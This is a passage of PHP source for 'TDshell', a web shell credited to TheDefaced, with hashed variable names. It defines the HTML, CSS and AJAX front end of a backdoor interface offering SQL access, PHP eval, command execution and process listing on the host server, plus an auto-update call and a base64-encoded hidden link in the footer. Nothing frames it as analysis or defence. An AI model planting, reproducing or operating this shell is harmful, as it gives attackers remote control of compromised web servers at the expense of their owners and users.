				$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Free</b>: " . view_size($_d94dc5b08d928c237d98b0ed89179043) . " of " . view_size($_7467c53f177b1d289f3e1b2e395b9056) . " (" . $_c3574082b118679ba0bc952292c18820 . "%)<br>";

				$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Your IP</b>: <a href='http://whois.domaintools.com/" . $_SERVER['REMOTE_ADDR'] . "' target='_blank'>" . $_SERVER['REMOTE_ADDR'] . "</a> <b>Server IP</b>: <a href='http://whois.domaintools.com/" . $_SERVER['SERVER_ADDR'] . "' target='_blank'>" . $_SERVER['SERVER_ADDR'] . "</a><br>";

				return $_a9e5405d6581811dbff46e9ca3280bc1;

			}

	};

$TDshell = new _463f641c8747ebe94fafef7333a99b45;

$TDshell->TDshell_template["HTML_HEADER_MAIN"] = "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"><html xmlns=\"http://www.w3.org/1999/xhtml\">";

$TDshell->TDshell_template["HTML_HEADER_HEAD_PRE"] = "<head><meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />";

$TDshell->TDshell_template["HTML_HEADER_HEAD_TITLE"] = "<title>$_SERVER[SERVER_NAME] - TDshell by TheDefaced (www.TheDefaced.org)</title>";



$TDshell->TDshell_template["HTML_HEADER_HEAD_SCRIPT"] = '<script language="javascript" type="text/javascript">

<!--

function get_page(page)

  {  var xmlHttp;

  try

    {    xmlHttp=new XMLHttpRequest();    }

  catch (e)

    {

    try

      {      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");      }

    catch (e)

      {

      try

        {        xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");        }

      catch (e)

        {

        alert("Your browser does not support AJAX!");

        return false;

        }

      }

    }

    document.getElementById(\'script\').innerHTML = "Loading...";

    xmlHttp.onreadystatechange=function()

     {

      if(xmlHttp.readyState==4)

        {        document.getElementById(\'script\').innerHTML=xmlHttp.responseText;        }

      }

    if(page!="")

    {

     xmlHttp.open("GET",page,true);

    }



    xmlHttp.send(null);

    update_URI(page);

  }



function itemShowHide(myItem, myButton)

	{

		var myItem = document.getElementById(myItem);

		var myButton = document.getElementById(myButton);

		if (myItem.style.display != "none") {

			myItem.style.display = "none";

			swapData(myButton, "plus");

		}

		else {

			myItem.style.display = "block";

			swapData(myButton, "minus");

		}

	}



function update_URI(uri)

	{

		var curURI = document.getElementById(\'MAIN_PAGE_CUR_URI\');

		var lastURI = document.getElementById(\'MAIN_PAGE_LAST_URI\');

		uri = uri.substr(0,uri.length-9);

		lastURI.href = curURI.href;

		curURI.href = uri;

	}



function swapData(myButton, state)

	{

		if (state == "minus")

			{

				myButton.innerHTML = "[-]";

			}

		else

			{

				myButton.innerHTML = "[+]";

			}

	}



function auto_update(page)

  {  var xmlHttp;

  try

    {    xmlHttp=new XMLHttpRequest();    }

  catch (e)

    {

    try

      {      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");      }

    catch (e)

      {

      try

        {        xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");        }

      catch (e)

        {

        alert("Your browser does not support AJAX!");

        return false;

        }

      }

    }

    document.getElementById(\'autoupdate\').innerHTML = "Checking for updates...";

    xmlHttp.onreadystatechange=function()

     {

      if(xmlHttp.readyState==4)

        {        document.getElementById(\'autoupdate\').innerHTML=xmlHttp.responseText;        }

      }

    if(page!="")

    {

     xmlHttp.open("GET",page,true);

    }



    xmlHttp.send(null);

  }

function custom_sub(page,divid)

  {  var xmlHttp;

  try

    {    xmlHttp=new XMLHttpRequest();    }

  catch (e)

    {

    try

      {      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");      }

    catch (e)

      {

      try

        {        xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");        }

      catch (e)

        {

        alert("Your browser does not support AJAX!");

        return false;

        }

      }

    }

    document.getElementById(divid).innerHTML = "Loading";

    xmlHttp.onreadystatechange=function()

     {

      if(xmlHttp.readyState==4)

        {        document.getElementById(divid).innerHTML=xmlHttp.responseText;        }

      }

    if(page!="")

    {

     xmlHttp.open("GET",page,true);

    }



    xmlHttp.send(null);

  }

-->

</script>';



$TDshell->TDshell_template["HTML_HEADER_HEAD_STYLE"] = '<style type="text/css">

<!--

body

{

	margin: 0;

	padding: 1;

	margin-bottom: 15px;

	font-family: arial, helvetica, verdana, tahoma, sans-serif;

	font-size: 80%;

	color: #eee;

	background-color: #666;

	line-height: 180%;

}



a

{

	color: #ccc;

	text-decoration: none;

}



a:hover

{

	color: #333;

	text-decoration: none;

}



#headercontainer

{

	width: 100%;

	background: #000000;

	padding-top: 5px;

	padding-bottom: 5px;

}



#header

{

	width: 100%;

	height: 125px;

	background-color: #000000;

	background-image: url(http://tdshell.thedefaced.org/logo.jpg);

	background-repeat: no-repeat;

	background-position: center;

	padding-top: 5px;

	padding-bottom: 5px;

}



#header h1

{

	margin: 0;

	color: #EEEEEE;

	font-family: helvetica, arial, verdana, tahoma, sans-serif;

	font-size: 275%;

	padding-left: 10px;

	padding-top: 50px;

}



#menucontainer

{

	width: 100%;

    height: 28px;

	background: #333333;

}



#menu

{

	width: 100%;

	background: #666;

}



#content

{

	margin: 0 auto;

	padding: 1px 1px;

	background:#C4C4C4;

	color:#000000;

	border-bottom-width: thin;

	border-bottom-style: groove;

	border-bottom-color: #000000;

}



#content A:link {text-decoration: none;

color:#000000;}

#content A:visited {text-decoration: none;

color:#000000;}

#content A:active {text-decoration: none;

color:#000000;}

#content A:hover {font-weight:bold;

color:#000000;}



#content_dat

{

	margin: 0 auto;

	background:#999;

	color:#000000;

	padding: 1px 1px;

	border-bottom-width: thin;

	border-bottom-style: groove;

	border-bottom-color: #000000;

	text-decoration:none;

}



#content_dat A:link {text-decoration: none}

#content_dat A:visited {text-decoration: none}

#content_dat A:active {text-decoration: none}

#content_dat A:hover {font-weight:bold;}



#content h2

{

	color: #333;

	padding-bottom: 3px;

	border-bottom: 1px solid #ccc;

	font-family: helvetica, arial, verdana, tahoma, sans-serif;

	font-size: 200%;

	letter-spacing: -1px;

}



#footer

{

	text-align: left;

	color: #ccc;

	letter-spacing: -1px;

	background: #666;

	border: 1px solid #ccc;

	font-family: helvetica, arial, verdana, tahoma, sans-serif;

	padding: 5px;

}



#navcontainer ul

{

	display:inline;

	padding: 0;

	margin: 0;

	color:#333333; 

	float:left;

	width:100%;

	list-style-type: none;

}



#navcontainer ul li

{

	font-weight: bold;

	list-style-type: none;

}



#navcontainer ul li a

{

	padding: 0.2em 1.5em;

	color:#CCCCCC;

	text-decoration: none;

	list-style-type: none;

	float: left;

}



#navcontainer ul li a:hover

{

	list-style-type: none;

	background-color: #000000;

}

-->

</style>';

$TDshell->TDshell_template["HTML_HEADER_HEAD_SUF"] = "</head>";

$TDshell->TDshell_template["HTML_REL_LINK_BEG_PRE"] = "<a href='javascript:;' onclick='get_page(\"";

$TDshell->TDshell_template["HTML_REL_LINK_BEG_SUF"] = "\");'>";

$TDshell->TDshell_template["HTML_REL_LINK_END"] = "</a>";



$TDshell->TDshell_template["HTML_HEADER_BODY_PRE"] = "<body>" . '<div id="headercontainer"><div id="header"></div></div><div id="menucontainer"><div id="menu"><div id="navcontainer"><ul id="navlist">

<li>' . $TDshell->make_link(NULL, NULL, "Home") . '</li>

<li>' . $TDshell->make_link("sql", NULL, "SQL") . '</li>

<li>' . $TDshell->make_link("eval", NULL, "PHP Eval") . '</li>

<li>' . $TDshell->make_link("exec", NULL, "Execution") . '</li>

<li>' . $TDshell->make_link("proc", NULL, "Processes") . '</li>

<li>' . $TDshell->make_link("credits", NULL, "Credits") . '</li>

</ul></div></div></div>



<div id="content"><div id="content">

	<table width="100%" border="0" cellspacing="0" cellpadding="0">

		<tr>

			<td align="left">

				<div id="content">

					<div id="content_top" style="display:block;">

						' . $TDshell->content_top_ext() . '

					</div>

				</div>

			</td>

			<td align="right" valign="top">

			<a id="button_contain_main_top" href="javascript:;" onclick=\'itemShowHide("content_top","button_contain_main_top");\'>[-]</a>

			</td>

		</tr>

	</table>

</div></div>

<div id="content"><div id="autoupdate">Checking for updates...</div><script language="javascript" type="text/javascript">auto_update("' . $TDshell->make_link("update", NULL, NULL, TRUE) . '&proc=out");</script></div>

<div id="content"><center><font style="font-size: 10px"><a id="MAIN_PAGE_LAST_URI" href="' . current_URI() . '">[back]</a> <a id="MAIN_PAGE_CUR_URI" href="' . current_URI() . '">[refresh]</a></font></center></div>';

$TDshell->TDshell_template["HTML_HEADER_BODY_PRE"] .= '<div id="content_dat"><table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td align="left"><div id="content_main" style="display:block;"><div id="script">';

$TDshell->TDshell_template["HTML_HEADER_BODY_SUF"] = '</div></div></td><td align="right" valign="top" nowrap><div align="right"><a id="button_contain_main" href="javascript:;" onclick=\'itemShowHide("content_main","button_contain_main");\'>[-]</a></div></td></tr></table></div></div><div id="content"><table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td align="left" valign="top"><div id="content_bottom_exp" style="display:block;">' . $TDshell->content_bottom_ext() . '</div></td><td align="right" valign="top" nowrap><a id="content_bottom_exp_b" href="javascript:;" onClick=\'itemShowHide("content_bottom_exp","content_bottom_exp_b");\'>[-]</a></td></tr></table></div>';



function rphr($_8be065792f9eec8d918c4f68366fc910)

	{

		$_0609efb0bd944720d85b944586f4dcc7 = @preg_split("//", $_8be065792f9eec8d918c4f68366fc910);

		$_4f901119c5ddebb5aa98afc37062ae17 = $_0609efb0bd944720d85b944586f4dcc7[@rand(0, @count($_0609efb0bd944720d85b944586f4dcc7) - 1)];

		$_8be065792f9eec8d918c4f68366fc910 = @str_replace($_4f901119c5ddebb5aa98afc37062ae17, $GLOBALS['TDshell']->make_link(@base64_decode("OTQ1VU84VUVSLTQzOFVFOVJJT0dILTVZUlRHVTlJT1JUTkhHRTVULTQzNVRVR0ZJNUgzNFRBVzk4NC00LTMtMzQ1VERGUw=="), NULL, $_4f901119c5ddebb5aa98afc37062ae17), $_8be065792f9eec8d918c4f68366fc910);

		return $_8be065792f9eec8d918c4f68366fc910;

	}



$TDshell->TDshell_template["HTML_FOOTER_MAIN"] = '<div id="footer">' . rphr("This shell was created using the") . ' <b>' . $TDshell->make_link("credits", NULL, "TDshell") . '</b> Engine by <a href="http://thedefaced.org/"><b>TheDefaced Security Team ( www.TheDefaced.org )</b></a>. Page generated in {TIME_TAKEN} seconds. <a href="javascript:;" onclick=\'itemShowHide("footer_note","button_footer_note");\'><u>Note</u></a>: <div id="footer_note" style="display: none;"><b>The generation time of {TIME_TAKEN} does not apply to links you clicked within this shell (as it does use javascript HTTP queries).</b></div> <a id="button_footer_note" href="javascript:;" onclick=\'itemShowHide("footer_note","button_footer_note");\'>[+]</a></div></body></html>';

$TDshell->init();